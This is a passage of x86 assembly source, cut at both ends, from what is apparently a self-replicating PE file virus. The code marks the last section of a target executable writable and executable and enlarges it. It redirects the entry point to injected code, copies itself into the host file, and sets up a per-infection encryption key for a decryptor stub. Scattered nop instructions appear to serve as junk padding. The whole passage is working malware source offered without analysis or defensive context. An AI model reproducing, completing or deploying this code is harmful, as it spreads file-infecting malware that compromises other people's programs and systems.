mov edi, (STACK_STORAGE PTR [esp]).filePeHeader
nop
mov edx, (STACK_STORAGE PTR [esp]).fileLastSectionHeader
nop
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Characteristics
; set as executable code & writeable
or eax, (IMAGE_SCN_MEM_EXECUTE OR IMAGE_SCN_CNT_CODE OR IMAGE_SCN_MEM_WRITE)
; set as not discardable
mov ecx, IMAGE_SCN_MEM_DISCARDABLE
not ecx
and eax, ecx
; update it
mov (IMAGE_SECTION_HEADER PTR [edx]).Characteristics, eax
; update VirtualSize
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Misc
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).Misc, eax
; save where to inject in the target
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
nop
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).offsetToDest, eax
; update SizeOfRawData
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData, eax
; update SizeOfImage
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
nop
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage, eax
; save original entry point
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).ImageBase
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
mov (STACK_STORAGE PTR [esp]).origEntryPoint, eax
mov eax, (STACK_STORAGE PTR [esp]).offsetToDest
; physical to virtual address
mov ecx, (IMAGE_SECTION_HEADER PTR [edx]).VirtualAddress
nop
sub ecx, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, ecx
; update it
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint, eax
; re-map the file to memory and change its size
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).fileSize, eax
push esp
call UnmapFileFromRAM
mov eax, (STACK_STORAGE PTR [esp]).fileSize
push esp
push eax
call MapFileToRAM
; inject itself
lea esi, [ebx - (data - start_of_code)] ; src
mov edi, (STACK_STORAGE PTR [esp]).fileView
nop
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
nop ; dst
mov ecx, (end_of_code - start_of_code) ; length
rep movsb
; generate encryption key
push esp
lea eax, [ebx + (GetTickCount_str - data)]
push eax
call GetProcAddr
call eax ; GetTickCount()
xor eax, (STACK_STORAGE PTR [esp]).kernel32BaseAddr
nop
xor eax, (STACK_STORAGE PTR [esp]).origEntryPoint
nop
mov (STACK_STORAGE PTR [esp]).cryptKey, eax
; store it in the decryptor
; eax : cryptKey
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
add edi, ((cypt_key - start_of_code) + 1)